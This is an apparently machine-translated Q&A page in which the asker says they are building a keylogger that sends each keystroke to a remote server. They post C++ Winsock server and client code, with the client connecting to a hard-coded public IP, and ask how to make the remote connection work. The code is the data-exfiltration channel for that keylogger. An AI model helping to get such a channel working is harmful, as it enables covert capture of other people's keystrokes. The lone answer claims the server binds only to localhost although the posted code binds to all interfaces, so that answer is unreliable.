套接字侦听/连接

时间:2017-07-04 22:14:08

标签: c++ sockets

我正在创建一个键盘记录器,将每次击键发送到远程服务器。到目前为止,它仅在我将localhost设置为地址时才有效。否则,客户端服务器连接根本不起作用....我已确保端口在我的路由器上打开。我需要做些什么工作?

服务器(当客户端和服务器使用localhost时,所有发送和接收都工作,它在别处obv处理):

SOCKET retConnect() {
        SOCKADDR_IN addr;
        int addrlen = sizeof(addr); 
        addr.sin_addr.s_addr = htonl(INADDR_ANY);
        addr.sin_port = htons(9901); 
        addr.sin_family = AF_INET; 
        SOCKET sListen = socket(AF_INET, SOCK_STREAM, NULL); 
        bind(sListen, (SOCKADDR*)&addr, sizeof(addr));
        listen(sListen, SOMAXCONN);

        SOCKET newConnection; 
        newConnection = accept(sListen, (SOCKADDR*)&addr, &addrlen); 
        return newConnection;

    }

客户端(当客户端和服务器使用localhost时,所有发送和接收都工作,它在别处obv处理):

SOCKET retconnect() {
        SOCKADDR_IN addr; 
        int sizeofaddr = sizeof(addr); 
        addr.sin_addr.s_addr = inet_addr("72.208.184.42"); 
        addr.sin_port = htons(9901); 
        addr.sin_family = AF_INET;

        SOCKET Connection = socket(AF_INET, SOCK_STREAM, NULL);
        if (connect(Connection, (SOCKADDR*)&addr, sizeofaddr) != 0) 
        {
            MessageBoxA(NULL, "Failed to Connect, are you connected to the same port as the server?", "Error", MB_OK | MB_ICONERROR);
            return 0; //Failed to Connect
        }
        else return Connection;

    }

编辑:客户端未连接到远程服务器。

我并不完全熟悉很多网络术语,所以请简单解释一下。

1 个答案:

答案 0 :(得分:0)

由于您的服务器仅绑定localhost(127.0.0.1)。

更改listen' 127.0.0.1'的IP地址至' 0.0.0.0'或' 72.208.184.42'正如您的客户端代码所做的那样。